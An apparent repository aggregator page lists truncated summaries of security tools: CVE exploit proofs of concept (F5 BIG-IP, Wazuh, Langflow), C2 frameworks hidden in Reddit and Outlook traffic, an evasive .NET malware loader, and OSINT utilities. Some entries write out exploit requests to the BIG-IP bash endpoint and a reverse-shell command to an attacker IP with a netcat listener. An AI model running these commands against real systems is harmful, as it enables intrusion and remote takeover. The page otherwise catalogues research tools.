f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM クイックパッチ CVE 2021-44228。 概要 このツールはBIG-IPデバイスに接続し、CVE-2021-4428というカスタムシグネチャセットを作成し、すべてのポリシーにブロッキングモードで適用します。また、すべてのシグネチャを強制し、変更を適用します。BIG-IP ASM v15.xでテスト済みですが、v13.x/v14.x/v16.xでも動作すると思われます。 警告:...

RemoteSessionEnum

Blog: https://0xv1n.github.io/posts/sessionenumeration/ 此项目的目的是尝试利用基本上没有文档的 Windows 工作站 WinSta API 来复现 qwinsta /server: 的功能。...

CVE-2021-37580

Apache ShenYu Admin爆出身份验证绕过漏洞，攻击者可通过该漏洞绕过JSON Web Token JWT安全认证，直接进入系统后台。 Apache ShenYu 是应用于所有微服务场景的，可扩展、高性能、响应式的 API 网关解决方案。 Apache ShenYu Admin 存在身份验证绕过漏洞。 ShenyuAdminBootstrap 中 JWT 的错误使用允许攻击者绕过身份验证，攻击者可通过该漏洞直接进入系统后台。 CVE 编号 CVE-2021-37580 fofa:fid="uPGDN6V9UWnc+KJdy5wdkQ==" 影响版本： Apache ShenY...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 の確認とエクスプロイト インストール: python3 -m pip install -r requirements.txt 使い方 単一ターゲット: python3 cve.py s fullurl apicommand 例 python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 複数ターゲット: python3 cve.py m host list endpoint apicommand po...

CVE-2021-26814

CVE-2021-26814 CVE-2021-26814 を悪用し、API サービスを介して Wazuh Manager v.4.0.0-4.0.3 で RCE を達成するシンプルな Python PoC です。 実行するには、.py スクリプトを実行可能にして、必要なパラメータを指定して起動するだけです。 PoC.py -h -user USERNAME -pwd PASSWORD -lip SRCIP -lport SRCPORT -tip DESTIP -tport DESTPORT 警告 : マネージャ上の wazuh-apid.py ファイルは 変更されます!...

WhoamiAlternatives

Alternatives to whoami whoami の代替手段 whoami.exe やそれに類するバイナリを呼び出さずに現在のユーザー名を取得するための実験です。 方法 1: PRTLUSERPROCESSPARAMETERS PEB 構造体から環境変数を取得し、その中からユーザー名を解析します。 NtQueryInformationProcess 関数は、PEB ベースアドレスへのポインタを含む "PROCESSBASICINFORMATION" 構造体を返します。 PEB 構造体には、RTLUSERPROCESSPARAMETERS 構造体へのポインタ...

RedditC2

RedditC2 Reddit APIを悪用してC2トラフィックをホストする。ブルーチームのメンバーの多くがRedditを使用しているため、トラフィックを正当に見せかける優れた方法になるかもしれません。 🚫 免責事項: このプロジェクトの使用は教育/テスト目的のみ です。許可されていないマシン での使用は固く禁じられています 。もし誰かがこれを違法/悪意のある目的 で使用した場合、リポジトリの作者は一切の責任を負いません 。 必要条件 python3でPRAW ライブラリをインストール: pip3 install praw クイックスタート...

CVE-2025-3248

CVE-2025-3248 利用易受攻击的 API 端点实现远程代码执行的 PoC（概念验证）。 信息： ⚠️ 使用本工具风险自负！ ❓ 新增了反弹 shell 的选项。 ✅ 当 validatecode 关闭时自动重试。 展示 使用方法 python CVE-2025-3248.py / python3 CVE-2025-3248.py 免责声明 使用本工具即表示您同意，您仅将其用于教育目的，且不会将其用于任何非法活动。 您还同意承担与本工具使用相关的所有风险。 对于因使用本工具而造成的直接或间接损害，本人概不负责。...

CVE-2021-21315

使用Rust语言编写的CVE-2021-21315漏洞利用代码 我是Rust新手，所以这段代码是我Rust语言练习的一部分 是的！！让我们获取反弹shell吧！！！！！！！ !仅供教育或研究使用 构建 cargo build 用法 ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 需要Netcat监听器来捕获反弹shell nc -nlvp nc -nlvp 1234...

mosint

Features • Installation • Services • Usage • Docker • Config • Screen Mosint is an automated email osint tool written in Go that allows you investigate for target emails in a fast and efficient manner. It consolidates numerous services, enabling security researchers to swiftly access a wealth of...

should-i-trust

should-i-trust Summary should-i-trust is a tool to evaluate OSINT signals for a domain. Requirements should-i-trust requires API keys from the following sources: Censys.io - Free for for first 250/quries/month VirusTotal - Free GrayHatWarFare - Free with limited results Use Case You're part of a...

should-i-trust

should-i-trust 概要 should-i-trustは、ドメインのOSINTシグナルを評価するツールです。 要件 should-i-trustは、以下のソースからのAPIキーが必要です： Censys.io - 月間最初の250クエリまで無料 VirusTotal - 無料 GrayHatWarFare - 結果に制限ありで無料 ユースケース あなたは新規ベンダーを評価する審査委員会のメンバーです。あなたは特に、新規ベンダーがコンプライアンスとセキュリティ要件を満たしていることを確認する責任があります。...

CVE-2022-1598

CVE-2022-1598 WPQA IDは数値で、ブルートフォースが可能です！ Nucleiテンプレート: CVE-2022-1598.yaml ビデオPOC: https://www.youtube.com/watch?v=MbhiQKWvivQ 参考文献: https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 https://vulners.com/cve/CVE-2022-1598...

NixImports

NixImports .NETマルウェアローダー。APIハッシングと動的呼び出しを使用して静的解析を回避します。 仕組み...

CVE-2022-1388_PoC

F5 BIG-IP RCE 漏洞利用 CVE-2022-1388 POST 1: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 命令行： $ curl -i -s -k -X $'POST' \ -H $'Host: :8443' \ -H $'Authorizatio...

py-amsi

py-amsi py-amsi は、Windows の Antimalware Scan Interface AMSI API を使用して、マルウェアの文字列やファイルをスキャンするライブラリです。AMSI は Windows にネイティブなインターフェースで、アプリケーションがシステムにインストールされたアンチウイルスにファイル/文字列の分析を依頼することを可能にします。AMSI は Windows Defender に限定されません。アンチウイルスベンダーは AMSI インターフェースを実装し、アプリケーションからの呼び出しを受け取ります。このライブラリは API...

azureOutlookC2

Azure Outlook C2 Microsoft Graph API を利用した C2 通信及びデータ漏洩を行う、Azure Outlook コマンド＆コントロールです。 自身の Outlook メールボックスから、侵害した Windows デバイスを遠隔操作します。 作成者: Bobby Cooke @0xBoku & Paul Ungur @C5pider CTI 脅威情報アップデート 2022年2月13日 Elastic Security Labs は、SIESTAGRAPH を使用したアクティブな侵入活動を実環境で発見しました。SIESTAGRAPH は、Outlook と...

TwitWork

TwitWork TwitWorkとは？ デモ 必要条件 インストール 開発環境のセットアップ プリコンパイル済みexeのダウンロード TwitWorkとは？ Twitterのストリームを監視します。 TwitWorkはTwitterストリームを使用して、リアルタイムでツイートを閲覧できます。 Twitterのトラッキングに基づいて、1つ以上のキーワードや@でフローをフィルタリングできる入力があります。 デモ これはキーワード「Coronavirus」のエクスポートデータのデモです。 https://twitwork.github.io/ TwitWork 必要条件 NodeJs Npm...

CVE-2023-27163

CVE-2023-27163 - Request Baskets SSRF Request Baskets SSRF 概念验证 alt text Request Baskets 版本 备注 感谢来自上海交通大学的 @beetle1、来自山东大学的 @chenlibo147、@houqinsheng、[email protected]。 文章：https://notes.sjtu.edu.cn/s/MUUhEymt7...

CVE-2026-76278

In Splunk Enterprise versions below 10.4.3, 10.2.7, and 10.0.10, a user that holds a role with the editspl2modulepermissions capability could use the affected Representational State Transfer REST API to access permission grants for SPL2 modules that the user does not have permission to view. The...